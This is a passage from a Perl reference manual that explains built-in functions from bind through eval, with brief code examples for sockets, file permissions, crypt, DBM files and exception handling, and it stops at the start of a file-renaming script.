This function attaches an address (a name) to an already opened socket specified by the SOCKET filehandle. The function returns true if it succeeded, false otherwise. NAME should be a packed address of the proper type for the socket.
use Socket;
$port_number = 80;      # pretend we want to be a web server
$sockaddr = sockaddr_in($port_number, INADDR_ANY);
bind SOCK, $sockaddr or die "Can't bind $port_number: $!\n";
See bind(2). See also the examples in the section "Sockets" in Chapter 16, "Interprocess Communication".

29.2.6. binmode

binmode FILEHANDLE, DISCIPLINES
binmode FILEHANDLE
This function arranges for the FILEHANDLE to have the semantics specified by the DISCIPLINES argument. If DISCIPLINES is omitted, binary (or "raw") semantics are applied to the filehandle. If FILEHANDLE is an expression, the value is taken as the name of the filehandle or a reference to a filehandle, as appropriate.

The binmode function should be called after the open but before any I/O is done on the filehandle. The only way to reset the mode on a filehandle is to reopen the file, since the various disciplines may have treasured up various bits and pieces of data in various buffers. This restriction may be relaxed in the future.

In the olden days, binmode was used primarily on operating systems whose run-time libraries distinguished text from binary files. On those systems, the purpose of binmode was to turn off the default text semantics. However, with the advent of Unicode, all programs on all systems must take some cognizance of the distinction, even on Unix and Mac systems. These days there is only one kind of binary file (as far as Perl is concerned), but there are many kinds of text files, which Perl would also like to treat in a single way. So Perl has a single internal format for Unicode text, UTF-8. Since there are many kinds of text files, text files often need to be translated upon input into UTF-8, and upon output back into some legacy character set, or some other representation of Unicode. You can use disciplines to tell Perl how exactly (or inexactly) to do these translations.[2]

[2]More precisely, you will be able to use disciplines for this, but we're still implementing them as of this writing.

For example, a discipline of ":text" will tell Perl to do generic text processing without telling Perl which kind of text processing to do. But disciplines like ":utf8" and ":latin1" tell Perl which text format to read and write. On the other hand, the ":raw" discipline tells Perl to keep its cotton-pickin' hands off the data. For more on how disciplines work (or will work), see the open function. The rest of this discussion describes what binmode does without the DISCIPLINES argument, that is, the historical meaning of binmode, which is equivalent to:

binmode FILEHANDLE, ":raw";
Unless instructed otherwise, Perl will assume your freshly opened file should be read or written in text mode. Text mode means that \n (newline) will be your internal line terminator. All systems use \n as the internal line terminator, but what that really represents varies from system to system, device to device, and even file to file, depending on how you access the file. In such legacy systems (including MS-DOS and VMS), what your program sees as a \n may not be what's physically stored on disk. The operating system might, for example, store text files with \cM\cJ sequences that are translated on input to appear as \n to your program, and have \n from your program translated back to \cM\cJ on output to a file. The binmode function disables this automatic translation on such systems.

In the absence of a DISCIPLINES argument, binmode has no effect under Unix or Mac OS, both of which use \n to end each line and represent that as a single character. (It may, however, be a different character: Unix uses \cJ and older Macs use \cM. Doesn't matter.)

The following example shows how a Perl script might read a GIF image from a file and print it to the standard output. On systems that would otherwise alter the literal data into something other than its exact physical representation, you must prepare both handles. While you could use a ":raw" discipline directly in the GIF open, you can't do that so easily with pre-opened filehandles like STDOUT:

binmode STDOUT;
open(GIF, "vim-power.gif") or die "Can't open vim-power.gif: $!\n";
binmode GIF;
while (read(GIF, $buf, 1024)) {
    print STDOUT $buf;
}

29.2.7. bless

bless REF, CLASSNAME
bless REF
This function tells the referent pointed to by reference REF that it is now an object in the CLASSNAME package--or the current package if no CLASSNAME is specified. If REF is not a valid reference, an exception is raised. For convenience, bless returns the reference, since it's often the last function in a constructor subroutine. For example:
$pet = Beast->new(TYPE => "cougar", NAME => "Clyde");

# then in Beast.pm:
sub new {
    my $class  = shift;
    my %attrs = @_;
    my $self   = { %attrs };
    return bless($self, $class);
}
You should generally bless objects into CLASSNAMEs that are mixed case. Namespaces with all lowercase names are reserved for internal use as Perl pragmata (compiler directives). Built-in types (such as "SCALAR", "ARRAY", "HASH", etc., not to mention the base class of all classes, "UNIVERSAL") all have uppercase names, so you may wish to avoid such package names as well.

Make sure that CLASSNAME is not false; blessing into false packages is not supported and may result in unpredictable behavior.

It is not a bug that there is no corresponding curse operator. (But there is a sin operator.) See also Chapter 12, "Objects", for more about the blessing (and blessings) of objects.

29.2.8. caller

caller EXPR
caller
This function returns information about the stack of current subroutine calls and such. Without an argument, it returns the package name, filename, and line number that the currently executing subroutine was called from:
($package, $filename, $line) = caller;
Here's an example of an exceedingly picky function, making use of the special tokens __PACKAGE__ and __FILE__ described in Chapter 2, "Bits and Pieces":
sub careful {
    my ($package, $filename) = caller;
    unless ($package  eq __PACKAGE__ && $filename eq __FILE__) {
        die "You weren't supposed to call me, $package!\n";
    }
    print "called me safely\n";
}

sub safecall {
    careful();
}
When called with an argument, caller evaluates EXPR as the number of stack frames to go back before the current one. For example, an argument of 0 means the current stack frame, 1 means the caller, 2 means the caller's caller, and so on. The function also reports additional information as shown here:
$i = 0;
while (($package, $filename, $line, $subroutine,
        $hasargs, $wantarray, $evaltext, $is_require,
        $hints, $bitmask) = caller($i++) )
{
    ...
}
If the frame is a subroutine call, $hasargs is true if it has its own @_ array (not one borrowed from its caller). Otherwise, $subroutine may be "(eval)" if the frame is not a subroutine call, but an eval. If so, additional elements $evaltext and $is_require are set: $is_require is true if the frame is created by a require or use statement, and $evaltext contains the text of the eval EXPR statement. In particular, for a eval BLOCK statement, $filename is "(eval)", but $evaltext is undefined. (Note also that each use statement creates a require frame inside an eval EXPR frame.) The $hints and $bitmask are internal values; please ignore them unless you're a member of the thaumatocracy.

In a fit of even deeper magic, caller also sets the array @DB::args to the arguments passed in the given stack frame--but only when called from within the DB package. See Chapter 20, "The Perl Debugger".

29.2.9. chdir

chdir EXPR
chdir
This function changes the current process's working directory to EXPR, if possible. If EXPR is omitted, the caller's home directory is used. The function returns true upon success, false otherwise.
chdir "$prefix/lib" or die "Can't cd to $prefix/lib: $!\n";
See also the Cwd module, described in Chapter 32, "Standard Modules", which lets you keep track of your current directory automatically.

29.2.10. chmod

chmod LIST
This function changes the permissions of a list of files. The first element of the list must be the numerical mode, as in the chmod(2) syscall. The function returns the number of files successfully changed. For example:
$cnt = chmod 0755, 'file1', 'file2';
will set $cnt to 0, 1, or 2, depending on how many files were changed. Success is measured by lack of error, not by an actual change, because a file may have had the same mode before the operation. An error probably means you lacked sufficient privileges to change its mode because you were neither the file's owner nor the superuser. Check $! to find the actual reason for failure.

Here's a more typical usage:

chmod(0755, @executables) == @executables
        or die "couldn't chmod some of @executables: $!";
If you need to know which files didn't allow the change, use something like this:
@cannot = grep {not chmod 0755, $_} 'file1', 'file2', 'file3';
die "$0: could not chmod @cannot\n" if @cannot;
This idiom makes use of the grep function to select only those elements of the list for which the chmod function failed.

When using nonliteral mode data, you may need to convert an octal string to a number using the oct function. That's because Perl doesn't automatically assume a string contains an octal number just because it happens to have a leading "0".

$DEF_MODE = 0644;   # Can't use quotes here!
PROMPT: {
    print "New mode? ";
    $strmode = <STDIN>;
        exit unless defined $strmode;   # test for eof
    if ($strmode =~ /^\s*$/) {          # test for blank line
        $mode = $DEF_MODE;
    }
    elsif ($strmode !~ /^\d+$/) {
        print "Want numeric mode, not $strmode\n";
        redo PROMPT;
    }
    else {
        $mode = oct($strmode);          # converts "755" to 0755
    }
    chmod $mode, @files;
}
This function works with numeric modes much like the Unix chmod(2) syscall. If you want a symbolic interface like the one the chmod(1) command provides, see the File::chmod module on CPAN.

You can also import the symbolic S_I* constants from the Fcntl module:

use Fcntl ':mode';
chmod S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH, @executables;
Some people consider that more readable than 0755. Go figure.

29.2.11. chomp

chomp VARIABLE
chomp LIST
chomp
This function (normally) deletes a trailing newline from the end of a string contained in a variable. This is a slightly safer version of chop (described next) in that it has no effect upon a string that doesn't end in a newline. More specifically, it deletes the terminating string corresponding to the current value of $/, and not just any last character.

Unlike chop, chomp returns the number of characters deleted. If $/ is "" (in paragraph mode), chomp removes all trailing newlines from the selected string (or strings, if chomping a LIST). You cannot chomp a literal, only a variable.

For example:

while (<PASSWD>) {
    chomp;   # avoid \n on last field
    @array = split /:/;
    ...
}
With version 5.6, the meaning of chomp changes slightly in that input disciplines are allowed to override the value of the $/ variable and mark strings as to how they should be chomped. This has the advantage that an input discipline can recognize more than one variety of line terminator (such as Unicode paragraph and line separators), but still safely chomp whatever terminates the current line.

29.2.12. chop

chop VARIABLE
chop LIST
chop
This function chops off the last character of a string variable and returns the character chopped. The chop operator is used primarily to remove the newline from the end of an input record, and is more efficient than using a substitution. If that's all you're doing, then it would be safer to use chomp, since chop always shortens the string no matter what's there, and chomp is more selective.

You cannot chop a literal, only a variable.

If you chop a LIST of variables, each string in the list is chopped:

@lines = `cat myfile`;
chop @lines;
You can chop anything that is an lvalue, including an assignment:
chop($cwd = `pwd`);
chop($answer = <STDIN>);
This is different from:
$answer = chop($tmp = <STDIN>);  # WRONG
which puts a newline into $answer because chop returns the character chopped, not the remaining string (which is in $tmp). One way to get the result intended here is with substr:
$answer = substr <STDIN>, 0, -1;
But this is more commonly written as:
chop($answer = <STDIN>);
In the most general case, chop can be expressed in terms of substr:
$last_char = chop($var);
$last_char = substr($var, -1, 1, "");   # same thing
Once you understand this equivalence, you can use it to do bigger chops. To chop more than one character, use substr as an lvalue, assigning a null string. The following removes the last five characters of $caravan:
substr($caravan, -5) = "";
The negative subscript causes substr to count from the end of the string instead of the beginning. If you wanted to save the characters so removed, you could use the four-argument form of substr, creating something of a quintuple chop:
$tail = substr($caravan, -5, 5, "");

29.2.13. chown

chown LIST
This function changes the owner and group of a list of files. The first two elements of the list must be the numeric UID and GID, in that order. A value of -1 in either position is interpreted by most systems to leave that value unchanged. The function returns the number of files successfully changed. For example:
chown($uidnum, $gidnum, 'file1', 'file2') == 2
        or die "can't chown file1 or file2: $!";
will set $cnt to 0, 1, or 2, depending on how many files got changed (in the sense that the operation succeeded, not in the sense that the owner was different afterward). Here's a more typical usage:
chown($uidnum, $gidnum, @filenames) == @filenames
        or die "can't chown @filenames: $!";
Here's a subroutine that accepts a username, looks up the user and group IDs for you, and does the chown:
sub chown_by_name {
    my($user, @files) = @_;
    chown((getpwnam($user))[2,3], @files) == @files
            or die "can't chown @files: $!";
}

chown_by_name("fred", glob("*.c"));
However, you may not want the group changed as the previous function does, because the /etc/passwd file associates each user with a single group even though that user may be a member of many secondary groups according to /etc/group. An alternative is to pass a -1 for the GID, which leaves the group of the file unchanged. If you pass a -1 as the UID and a valid GID, you can set the group without altering the owner.

On most systems, you are not allowed to change the ownership of the file unless you're the superuser, although you should be able to change the group to any of your secondary groups. On insecure systems, these restrictions may be relaxed, but this is not a portable assumption. On POSIX systems, you can detect which rule applies like this:

use POSIX qw(sysconf _PC_CHOWN_RESTRICTED);
# only try if we're the superuser or on a permissive system
if ($> == 0 || !sysconf(_PC_CHOWN_RESTRICTED) ) {
    chown($uidnum, -1, $filename)
        or die "can't chown $filename to $uidnum: $!";
}

29.2.14. chr

chr NUMBER
chr

This function returns the character represented by that NUMBER in the character set. For example, chr(65) is "A" in either ASCII or Unicode, and chr(0x263a) is a Unicode smiley face. For the reverse of chr, use ord.

If you'd rather specify your characters by name than by number (for example, "\N{WHITE SMILING FACE}" for a Unicode smiley), see charnames in Chapter 31, "Pragmatic Modules".

29.2.15. chroot

chroot FILENAME
chroot
If successful, FILENAME becomes the new root directory for the current process--the starting point for pathnames beginning with "/". This directory is inherited across exec calls and by all subprocesses forked after the chroot call. There is no way to undo a chroot. For security reasons, only the superuser can use this function. Here's some code that approximates what many FTP servers do:
chroot((getpwnam('ftp'))[7])
    or die "Can't do anonymous ftp: $!\n";
This function is unlikely to work on non-Unix systems. See chroot(2).

29.2.16. close

close FILEHANDLE
close
This function closes the file, socket, or pipe associated with FILEHANDLE. (It closes the currently selected filehandle if the argument is omitted.) It returns true if the close is successful, false otherwise. You don't have to close FILEHANDLE if you are immediately going to do another open on it, since the next open will close it for you. (See open.) However, an explicit close on an input file resets the line counter ($.), while the implicit close done by open does not.

FILEHANDLE may be an expression whose value can be used as an indirect filehandle (either the real filehandle name or a reference to anything that can be interpreted as a filehandle object).

If the filehandle came from a piped open, close will return false if any underlying syscall fails or if the program at the other end of the pipe exited with nonzero status. In the latter case, the close forces $! ($OS_ERROR) to zero. So if a close on a pipe returns a nonzero status, check $! to determine whether the problem was with the pipe itself (nonzero value) or with the program at the other end (zero value). In either event, $? ($CHILD_ERROR) contains the wait status value (see its interpretation under system) of the command associated with the other end of the pipe. For example:

open(OUTPUT, '| sort -rn | lpr -p') # pipe to sort and lpr
    or die "Can't start sortlpr pipe: $!";
print OUTPUT @lines;                # print stuff to output
close OUTPUT                        # wait for sort to finish
    or warn $! ? "Syserr closing sortlpr pipe: $!"
               : "Wait status $? from sortlpr pipe";
A filehandle produced by dup(2)ing a pipe is treated as an ordinary filehandle, so close will not wait for the child on that filehandle. You have to wait for the child by closing the original filehandle. For example:
open(NETSTAT, "netstat -rn |")
    or die "can't run netstat: $!";
open(STDIN, "<&NETSTAT")
    or die "can't dup to stdin: $!";
If you close STDIN above, there is no wait, but if you close NETSTAT, there is.

If you somehow manage to reap an exited pipe child on your own, the close will fail. This could happen if you had a $SIG{CHLD} handler of your own that got triggered when the pipe child exited, or if you intentionally called waitpid on the process ID returned from the open call.

29.2.17. closedir

closedir DIRHANDLE
This function closes a directory opened by opendir and returns the success of that operation. See the examples under readdir. DIRHANDLE may be an expression whose value can be used as an indirect dirhandle, usually the real dirhandle name.

29.2.18. connect

connect SOCKET, NAME
This function initiates a connection with another process that is waiting at an accept. The function returns true if it succeeded, false otherwise. NAME should be a packed network address of the proper type for the socket. For example, assuming SOCK is a previously created socket:
use Socket;

my ($remote, $port) = ("www.perl.com", 80);
my $destaddr = sockaddr_in($port, inet_aton($remote));
connect SOCK, $destaddr
    or die "Can't connect to $remote at port $port: $!";
To disconnect a socket, use either close or shutdown. See also the examples in the section "Sockets" in Chapter 16, "Interprocess Communication". See connect(2).

29.2.19. cos

cos EXPR
cos
This function returns the cosine of EXPR (expressed in radians). For example, the following script will print a cosine table of angles measured in degrees:
# Here's the lazy way of getting degrees-to-radians.

$pi = atan2(1,1) * 4;
$piover180 = $pi/180;

# Print table.
for ($deg = 0; $deg <= 90; $deg++) {
    printf "%3d %7.5f\n", $deg, cos($deg * $piover180);
}
For the inverse cosine operation, you may use the acos() function from the Math::Trig or POSIX modules, or use this relation:
sub acos { atan2( sqrt(1 - $_[0] * $_[0]), $_[0] ) }

29.2.20. crypt

crypt PLAINTEXT, SALT
This function computes a one-way hash of a string exactly in the manner of crypt(3). This is somewhat useful for checking the password file for lousy passwords,[3] although what you really want to do is prevent people from adding the bad passwords in the first place.

[3] Only people with honorable intentions are allowed to do this.

crypt is intended to be a one-way function, much like breaking eggs to make an omelette. There is no (known) way to decrypt an encrypted password apart from exhaustive, brute-force guessing.

When verifying an existing encrypted string, you should use the encrypted text as the SALT (like crypt($plain, $crypted) eq $crypted). This allows your code to work with the standard crypt, and with more exotic implementations, too.

When choosing a new SALT, you minimally need to create a random two character string whose characters come from the set [./0-9A-Za-z] (like join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]). Older implementations of crypt only needed the first two characters of the SALT, but code that only gives the first two characters is now considered nonportable. See your local crypt(3) manpage for interesting details.

Here's an example that makes sure that whoever runs this program knows their own password:

$pwd = (getpwuid ($<))[1];    # Assumes we're on Unix.

system "stty -echo";   # or look into Term::ReadKey on CPAN
print "Password: ";
chomp($word = <STDIN>);
print "\n";
system "stty echo";

if (crypt($word, $pwd) ne $pwd) {
    die "Sorry...\n";
} else {
    print "ok\n";
}
Of course, typing in your own password to whoever asks for it is unwise.

Shadow password files are slightly more secure than traditional password files, and you might have to be a superuser to access them. Because few programs should run under such powerful privileges, you might have the program maintain its own independent authentication system by storing the crypt strings in a different file than /etc/passwd or /etc/shadow.

The crypt function is unsuitable for encrypting large quantities of data, not least of all because you can't get the information back. Look at the by-module/Crypt and by-module/PGP directories on your favorite CPAN mirror for a slew of potentially useful modules.

29.2.21. dbmclose

dbmclose HASH
This function breaks the binding between a DBM (database management) file and a hash. dbmclose is really just a call to untie with the proper arguments, but is provided for backward compatibility with ancient versions of Perl.

29.2.22. dbmopen

dbmopen HASH, DBNAME, MODE
This binds a DBM file to a hash (that is, an associative array). (DBM stands for database management, and consists of a set of C library routines that allow random access to records via a hashing algorithm.) HASH is the name of the hash (including the %). DBNAME is the name of the database (without any .dir or .pag extension). If the database does not exist and a valid MODE is specified, the database is created with the protection specified by MODE, as modified by the umask. To prevent creation of the database if it doesn't exist, you may specify a MODE of undef, and the function will return false if it can't find an existing database. Values assigned to the hash prior to the dbmopen are not accessible.

The dbmopen function is really just a call to tie with the proper arguments, but is provided for backward compatibility with ancient versions of Perl. You can control which DBM library you use by using the tie interface directly or by loading the appropriate module before you call dbmopen. Here's an example that works on some systems for versions of DB_File similar to the version in your Netscape browser:

use DB_File;
dbmopen(%NS_Hist, "$ENV{HOME}/.netscape/history.dat", undef)
    or die "Can't open netscape history file: $!";

while (($url, $when) = each %NS_Hist) {
    next unless defined($when);
    chop ($url, $when);        # kill trailing null bytes
    printf "Visited %s at %s.\n", $url,
        scalar(localtime(unpack("V",$when)));
}
If you don't have write access to the DBM file, you can only read the hash variables, not set them. If you want to test whether you can write, either use a file test like -w $file, or try setting a dummy hash entry inside an eval {}, which will trap the exception.

Functions such as keys and values may return huge list values when used on large DBM files. You may prefer to use the each function to iterate over large DBM files so that you don't load the whole thing in memory at once.

Hashes bound to DBM files have the same limitations as the type of DBM package you're using, including restrictions on how much data you can put into a bucket. If you stick to short keys and values, it's rarely a problem. See also the DB_File module in Chapter 32, "Standard Modules".

Another thing you should bear in mind is that many existing DBM databases contain null-terminated keys and values because they were set up with C programs in mind. The Netscape history file and the old sendmail aliases file are examples. Just use "$key\0" when pulling out a value, and remove the null from the value.

$alias = $aliases{"postmaster\0"};
chop $alias;   # kill the null
There is currently no built-in way to lock a generic DBM file. Some would consider this a bug. The GDBM_File module does attempt to provide locking at the granularity of the entire file. When in doubt, your best bet is to use a separate lock file.

29.2.23. defined

defined EXPR
defined
This function returns a Boolean value saying whether EXPR has a defined value or not. Most of the data you deal with is defined, but a scalar that contains no valid string, numeric, or reference value is said to contain the undefined value, or undef for short. Initializing a scalar variable to a particular value will define it, and it will stay defined until you assign an undefined value to it or explicitly call the undef function on that variable.

Many operations return undef under exceptional conditions, such as at end-of-file, when using an uninitialized variable's value, an operating system error, etc. Since undef is just one kind of false value, a simple Boolean test does not distinguish between undef, numeric zero, the null string, and the one-character string, "0"--all of which are equally false. The defined function allows you to distinguish between an undefined null string and a defined null string when you're using operators that might return a real null string.

Here is a fragment that tests a scalar value from a hash:

print if defined $switch{D};
When used on a hash element like this, defined only tells you whether the value is defined, not whether the key has an entry in the hash. It's possible to have a key whose value is undefined; the key itself however still exists. Use exists to determine whether the hash key exists.

In the next example we exploit the convention that some operations return the undefined value when you run out of data:

print "$val\n" while defined($val = pop(@ary));
And in this one, we do the same thing with the getpwent function for retrieving information about the system's users.
setpwent();
while (defined($name = getpwent())) {
    print "<<$name>>\n";
}
endpwent();
The same thing goes for error returns from syscalls that could validly return a false value:
die "Can't readlink $sym: $!"
    unless defined($value = readlink $sym);
You may also use defined to see whether a subroutine has been defined yet. This makes it possible to avoid blowing up on nonexistent subroutines (or subroutines that have been declared but never given a definition):
indir("funcname", @arglist);
sub indir {
    my $subname = shift;
    no strict 'refs';  # so we can use subname indirectly
    if (defined &$subname) {
        &$subname(@_);    # or $subname->(@_);
    }
    else {
        warn "Ignoring call to invalid function $subname";
    }
}
Use of defined on aggregates (hashes and arrays) is deprecated. (It used to report whether memory for that aggregate had ever been allocated.) Instead, use a simple Boolean test to see whether the array or hash has any elements:
if (@an_array) { print "has array elements\n" }
if (%a_hash)   { print "has hash members\n"   }
See also undef and exists.

29.2.24. delete

delete EXPR
This function deletes an element (or a slice of elements) from the specified hash or array. (See unlink if you want to delete a file.) The deleted elements are returned in the order specified, though this behavior is not guaranteed for tied variables such as DBM files. After the delete operation, the exists function will return false on any deleted key or index. (In contrast, after the undef function, the exists function continues to return true, because the undef function only undefines the value of the element, but doesn't delete the element itself.)

Deleting from the %ENV hash modifies the environment. Deleting from a hash that is bound to a (writable) DBM file deletes the entry from that DBM file.

Historically, you could only delete from a hash, but with Perl version 5.6 you may also delete from an array. Deleting from an array causes the element at the specified position to revert to a completely uninitialized state, but it doesn't close up the gap, since that would change the positions of all the subsequent entries. Use a splice for that. (However, if you delete the final element in an array, the array size will shrink by one (or more, depending on the position of the next largest existing element (if any))).

EXPR can be arbitrarily complicated, provided that the final operation is a hash or array lookup:

# set up array of array of hash
$dungeon[$x][$y] = \%properties;

# delete one property from hash
delete $dungeon[$x][$y]{"OCCUPIED"};

# delete three properties all at once from hash
delete @{ $dungeon[$x][$y] }{ "OCCUPIED", "DAMP", "LIGHTED" };

# delete reference to %properties from array
delete $dungeon[$x][$y];
The following na&#239;ve example inefficiently deletes all the values of a %hash:
foreach $key (keys %hash) {
    delete $hash{$key};
}
And so does this:
delete @hash{keys %hash};
But both of these are slower than just assigning the empty list or undefining it:
%hash = ();         # completely empty %hash
undef %hash;        # forget %hash ever existed
Likewise for arrays:
foreach $index (0 .. $#array) {
    delete $array[$index];
}
and:
delete @array[0 .. $#array];
are less efficient than either of:
@array = ();         # completely empty @array
undef @array;        # forget @array ever existed

29.2.25. die

die LIST
die
Outside an eval, this function prints the concatenated value of LIST to STDERR and exits with the current value of $! (the C-library errno variable). If $! is 0, it exits with the value of $? >> 8 (which is the status of the last reaped child from a system, wait, close on a pipe, or `command`). If $? >> 8 is 0, it exits with 255.

Within an eval, the function sets the $@ variable to the error message that would have otherwise been produced, then aborts the eval, which returns undef. The die function can thus be used to raise named exceptions that can be caught at a higher level in the program. See eval later in this chapter.

If LIST is a single object reference, that object is assumed to be an exception object and is returned unmodified as the exception in $@.

If LIST is empty and $@ already contains a string value (typically from a previous eval) that value is reused after appending "\t...propagated". This is useful for propagating (reraising) exceptions:

eval { ... };
die unless $@ =~ /Expected exception/;
If LIST is empty and $@ already contains an exception object, the $@->PROPAGATE method is called to determine how the exception should be propagated.

If LIST is empty and $@ is empty, then the string "Died" is used.

If the final value of LIST does not end in a newline (and you're not passing an exception object), the current script filename, line number, and input line number (if any) are appended to the message, as well as a newline. Hint: sometimes appending ", stopped" to your message will cause it to make better sense when the string "at scriptname line 123" is appended. Suppose you are running script canasta; consider the difference between the following two ways of dying:

die "/usr/games is no good";
die "/usr/games is no good, stopped";
which produce, respectively:
/usr/games is no good at canasta line 123.
/usr/games is no good, stopped at canasta line 123.
If you want your own error messages reporting the filename and line number, use the __FILE__ and __LINE__ special tokens:
die '"', __FILE__, '", line ', __LINE__, ", phooey on you!\n";
This produces output like:
"canasta", line 38, phooey on you!
One other style issue--consider the following equivalent examples:
die "Can't cd to spool: $!\n"   unless chdir '/usr/spool/news';

chdir '/usr/spool/news'         or die "Can't cd to spool: $!\n"
Because the important part is the chdir, the second form is generally preferred.

See also exit, warn, %SIG, and the Carp module.

29.2.26. do (block)

do BLOCK
The do BLOCK form executes the sequence of statements in the BLOCK and returns the value of the last expression evaluated in the block. When modified by a while or until statement modifier, Perl executes the BLOCK once before testing the loop condition. (On other statements the loop modifiers test the conditional first.) The do BLOCK itself does not count as a loop, so the loop control statements next, last, or redo cannot be used to leave or restart the block. See the section "Bare Blocks" in Chapter 4, "Statements and Declarations", for workarounds.

29.2.27. do (file)

do FILE
The do FILE form uses the value of FILE as a filename and executes the contents of the file as a Perl script. Its primary use is (or rather was) to include subroutines from a Perl subroutine library, so that:
do 'stat.pl';
is rather like:
scalar eval `cat stat.pl`;   # `type stat.pl` on Windows
except that do is more efficient, more concise, keeps track of the current filename for error messages, searches all the directories listed in the @INC array, and updates %INC if the file is found. (See Chapter 28, "Special Names".) It also differs in that code evaluated with do FILE cannot see lexicals in the enclosing scope, whereas code in eval FILE does. It's the same, however, in that it reparses the file every time you call it--so you might not want to do this inside a loop unless the filename itself changes at each loop iteration.

If do can't read the file, it returns undef and sets $! to the error. If do can read the file but can't compile it, it returns undef and sets an error message in $@. If the file is successfully compiled, do returns the value of the last expression evaluated.

Inclusion of library modules (which have a mandatory .pm suffix) is better done with the use and require operators, which also do error checking and raise an exception if there's a problem. They also offer other benefits: they avoid duplicate loading, help with object-oriented programming, and provide hints to the compiler on function prototypes.

But do FILE is still useful for such things as reading program configuration files. Manual error checking can be done this way:

# read in config files: system first, then user
for $file ("/usr/share/proggie/defaults.rc",
           "$ENV{HOME}/.someprogrc")
{
    unless ($return = do $file) {
        warn "couldn't parse $file: $@" if $@;
        warn "couldn't do $file: $!"    unless defined $return;
        warn "couldn't run $file"       unless $return;
    }
}
A long-running daemon could periodically examine the timestamp on its configuration file, and if the file has changed since it was last read in, the daemon could use do to reload that file. This is more tidily accomplished with do than with require or use.

29.2.28. do (subroutine)

do SUBROUTINE(LIST)
The do SUBROUTINE(LIST) is a deprecated form of a subroutine call. An exception is raised if the SUBROUTINE is undefined. See Chapter 6, "Subroutines".

29.2.29. dump

dump LABEL
dump
This function causes an immediate core dump. Primarily this is so that you can use the undump program (not supplied) to turn your core dump into an executable binary after having initialized all your variables at the beginning of the program. When the new binary is executed it will begin by executing a goto LABEL (with all the restrictions that goto suffers). Think of it as a goto with an intervening core dump and reincarnation. If LABEL is omitted, the program is restarted from the top. Warning: any files opened at the time of the dump will not be open any more when the program is reincarnated, with possible resulting confusion on the part of Perl. See also the -u command-line option in Chapter 19, "The Command-Line Interface".

This function is now largely obsolete, partly because it's difficult in the extreme to convert a core file into an executable in the general case, and because various compiler backends for generating portable bytecode and compilable C code have superseded it.

If you're looking to use dump to speed up your program, check out the discussion of efficiency matters in Chapter 24, "Common Practices", as well the Perl native-code generator in Chapter 18, "Compiling". You might also consider autoloading or selfloading, which at least make your program appear to run faster.

29.2.30. each

each HASH
This function steps through a hash one key/value pair at a time. When called in list context, each returns a two-element list consisting of the key and value for the next element of a hash, so that you can iterate over it. When called in scalar context, each returns just the key for the next element in the hash. When the hash is entirely read, the empty list is returned, which when assigned produces a false value in scalar context, such as a loop test. The next call to each after that will start iterating again. The typical use is as follows, using predefined %ENV hash:
while (($key,$value) = each %ENV) {
    print "$key=$value\n";
}
Internally, a hash maintains its own entries in an apparently random order. The each function iterates through this sequence because every hash remembers which entry was last returned. The actual ordering of this sequence is subject to change in future versions of Perl, but is guaranteed to be in the same order as the keys (or values) function would produce on the same (unmodified) hash.

There is a single iterator for each hash, shared by all each, keys, and values function calls in the program; it can be reset by reading all the elements from the hash, or by evaluating keys %hash or values %hash. If you add or delete elements of a hash while you're iterating over it, the resulting behavior is not well-defined: entries might get skipped or duplicated.

See also keys, values, and sort.

29.2.31. eof

eof FILEHANDLE
eof()
eof
This function returns true if the next read on FILEHANDLE would return end-of-file, or if FILEHANDLE is not open. FILEHANDLE may be an expression whose value gives the real filehandle, or a reference to a filehandle object of some sort. An eof without an argument returns the end-of-file status for the last file read. An eof() with empty parentheses () tests the ARGV filehandle (most commonly seen as the null filehandle in <>). Therefore, inside a while (<>) loop, an eof() with parentheses will detect the end of only the last of a group of files. Use eof (without the parentheses) to test each file in a while (<>) loop. For example, the following code inserts dashes just before the last line of the last file:
while (<>) {
    if (eof()) {
        print "-" x 30, "\n";
    }
    print;
}
On the other hand, this script resets line numbering on each input file:
# reset line numbering on each input file
while (<>) {
    next if /^\s*#/;        # skip comments
    print "$.\t$_";
} continue {
    close ARGV if eof;      # Not eof()!
}
Like "$" in a sed program, eof tends to show up in line number ranges. Here's a script that prints lines from /pattern/ to end of each input file:
while (<>) {
    print if /pattern/ .. eof;
}
Here, the flip-flop operator (..) evaluates the pattern match for each line. Until the pattern matches, the operator returns false. When it finally matches, the operator starts returning true, causing the lines to be printed. When the eof operator finally returns true (at the end of the file being examined), the flip-flop operator resets, and starts returning false again for the next file in @ARGV.

Warning: The eof function reads a byte and then pushes it back on the input stream with ungetc(3), so it is not useful in an interactive context. In fact, experienced Perl programmers rarely use eof, since the various input operators already behave politely in while-loop conditionals. See the example in the description of foreach in Chapter 4, "Statements and Declarations".

29.2.32. eval

eval BLOCK
eval EXPR
eval
The eval keyword serves two distinct but related purposes in Perl. These purposes are represented by two forms of syntax, eval BLOCK and eval EXPR. The first form traps run-time exceptions (errors) that would otherwise prove fatal, similar to the "try block" construct in C++ or Java. The second form compiles and executes little bits of code on the fly at run time, and also (conveniently) traps any exceptions just like the first form. But the second form runs much slower than the first form, since it must parse the string every time. On the other hand, it is also more general. Whichever form you use, eval is the preferred way to do all exception handling in Perl.

For either form of eval, the value returned from an eval is the value of the last expression evaluated, just as with subroutines. Similarly, you may use the return operator to return a value from the middle of the eval. The expression providing the return value is evaluated in void, scalar, or list context, depending on the context of the eval itself. See wantarray for more on how the evaluation context can be determined.

If there is a trappable error (including any produced by the die operator), eval returns undef and puts the error message (or object) in $@. If there is no error, $@ is guaranteed to be set to the null string, so you can test it reliably afterward for errors. A simple Boolean test suffices:

eval { ... };    # trap run-time errors
if ($@) { ... }    # handle error
The eval BLOCK form is syntax-checked at compile time, so it is quite efficient. (People familiar with the slow eval EXPR form are occasionally confused on this issue.) Since the code in the BLOCK is compiled at the same time as the surrounding code, this form of eval cannot trap syntax errors.

The eval EXPR form can trap syntax errors because it parses the code at run time. (If the parse is unsuccessful, it places the parse error in $@, as usual.) Otherwise, it executes the value of EXPR as though it were a little Perl program. The code is executed in the context of the current Perl program, which means that it can see any enclosing lexicals from a surrounding scope, and that any non-local variable settings remain in effect after the eval is complete, as do any subroutine or format definitions. The code of the eval is treated as a block, so any locally scoped variables declared within the eval last only until the eval is done. (See my and local.) As with any code in a block, a final semicolon is not required.

Here is a simple Perl shell. It prompts the user to enter a string of arbitrary Perl code, compiles and executes that string, and prints whatever error occurred:

print "\nEnter some Perl code: ";

while (<STDIN>) {
    eval;
    print $@;
    print "\nEnter some more Perl code: ";
}
Here is a rename program to do a mass renaming of files using a Perl expression:
#!/usr/bin/perl
# rename - change filenames
